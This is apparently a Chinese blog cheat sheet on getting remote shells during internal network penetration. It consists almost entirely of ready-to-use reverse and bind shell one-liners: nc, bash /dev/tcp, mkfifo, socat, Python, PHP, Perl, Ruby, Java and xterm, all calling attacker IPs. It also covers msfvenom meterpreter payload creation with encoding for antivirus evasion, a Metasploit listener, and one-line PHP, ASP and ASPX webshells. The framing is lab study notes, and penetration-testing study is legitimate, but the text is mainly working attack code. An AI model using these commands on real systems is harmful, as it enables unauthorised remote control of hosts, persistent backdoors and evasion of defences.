本文已参与「新人创作礼」活动,一起开启掘金创作之路
内网渗透之转发shell
Published on Jan 17, 2022 in 安全学习路 with 0 comment
使用nc
方法一
反弹shell
nc -e cmd.exe 攻击机ip 4444(反弹windows shell)
nc -e /bin/bash 攻击机ip 4444(反弹linux shell)
方法二
将shell映射到自己本地的端口上,然后等待他人连接
nc -lvp 4444 -e cmd.exe (反弹windows shell)
nc -lvp 4444 -e /bin/bash (反弹linux shell)
连接端口
nc -vv 获取shell的ip 4444
使用msf
msfvenom制作反弹木马,自行选择合适的payload和文件类型,以及修改自己的host'
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.16.7 lport=4444 -f exe -o 123.exe
msfencode来进行编码免杀,
然后msfconsole来进行监听反弹的窗口
msfdb run
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.16.7
run
使用bash
bash -i >& /dev/tcp/10.10.14.2/8081 0>&1
bash -c 'bash -i >& /dev/tcp/10.10.16.7/4444 0>&1'
0<&31-;exec 31<>/dev/tcp/10.10.16.7/4444;sh <&31 >&31 2>&31
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 1234 >/tmp/f
使用socat
这个是从一个老哥那里看来的没有自己使用过,暂作记录内网渗透之——内网转发
socat反弹tcp
接收端(攻击机):
./socat TCP-LISTEN:4444
发送端(靶机):
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.16.7:4444
socat反弹(udp)
接收端:
nc -lvnp 4444
发送端:
socat udp-connect:10.10.16.7:4444 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &
使用python
同样需要nc监听本地端口
nc -lvnp 4444
然后想办法在靶机中执行语句
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.settimeout(10);s.connect(("10.10.14.8",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
用来转发linux的shell
用python发出一个完整的shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
使用php
需要nc监听本地端口
nc -lvnp 4444
然后再php中文件中注入
php -r '$sock=fsockopen("10.10.16.7",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
或者在文件中直接注入系统语句,并留下变量
<?php system($_REQUEST["cmd"]); ?>
再或者利用文件上传,用一句话木马,然后用冰蝎剑蚁菜刀一类的东西来连接
php一句话木马: <?php @eval($_POST[value]); ?>
asp一句话木马: <%eval request ("value")%> 或 <% execute(request("value")) %>
aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
<?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中
使用PERL
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
使用Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
使用java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
使用xterm
使用xterm是最简单的转发shell的方式之一,可以通过如下语句来使目标及对你的tcp6001端口进行shell转发
xterm -display 10.0.0.1:1
使用如下语句来打开一个监听6001短裤的X-servers
Xnest :1
通过如下语句开放端口,使得目标机可以连接的上你
xhost +targetip
\